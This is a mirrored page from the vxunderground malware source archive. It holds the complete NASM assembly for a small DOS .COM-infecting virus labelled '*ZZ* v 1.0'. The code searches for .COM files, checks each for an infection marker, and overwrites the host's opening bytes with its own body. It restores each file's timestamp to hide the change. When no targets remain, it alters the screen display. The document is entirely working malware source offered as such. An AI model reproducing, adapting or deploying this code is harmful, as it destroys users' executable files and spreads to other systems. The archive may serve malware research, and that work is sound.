mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
86 lines
2.5 KiB
NASM
86 lines
2.5 KiB
NASM
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code segment
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assume cs:code, ds:code, es:code, ss:nothing
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org 0100h
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start: db 8Bh,0DBh
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mov ah,4Eh ;find a file
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mov cx,0000h ;
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mov dx,offset filemask ;load searchmask, .COM
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loopy: int 21h
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jb effect ;no files, do effect
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call infect
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jnz exit
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mov ah,4Fh ;find next file
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jmp short loopy
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;keep looping around
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exit: mov ax,4C00h
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int 21h
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effect: mov ax,0040h ;no files to infect
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mov es,ax ;slant the text on the screen
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mov di,004Ah
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mov al,51h
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stosb
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int 20h ;and exit
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infect: mov ax,3D02h ;open host, r/w with handle
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mov dx,009Eh
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int 21h
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xchg ax,bx ;exchange handle to ax
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mov ah,3Fh ;read from file
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mov cx,0002h ;two bytes
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mov dx,offset ID ;put them in ID buffer
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int 21h
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cmp Word Ptr ds:[016Dh],0DB8Bh
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;compare with virus ID
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pushf
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jz close_file
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cwd
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mov cx,dx ;
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mov ax,4200h ;reset file pointer
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;to beginning of file
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int 21h
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mov al,00h ;
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mov ah,57h ;get file date/time
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int 21h ;
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push cx ;store them
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push dx ;
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mov ah,40h ;write virus
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mov cx,007Fh ;to file
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mov dx,0100h ;start at beginning
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int 21h ;
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mov al,01h ;restore file date/time
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pop dx ;from the stack
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pop cx ;
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mov ah,57h ;
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int 21h ;
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close_file:
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mov ah,3Eh ;close file
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int 21h ;
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popf ;
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ret ;exit
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ID: dw 0000h
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filemask: db "*.COM" ;searchmask
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db 00h
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db "*ZZ* v 1.0"
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code ends
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end start
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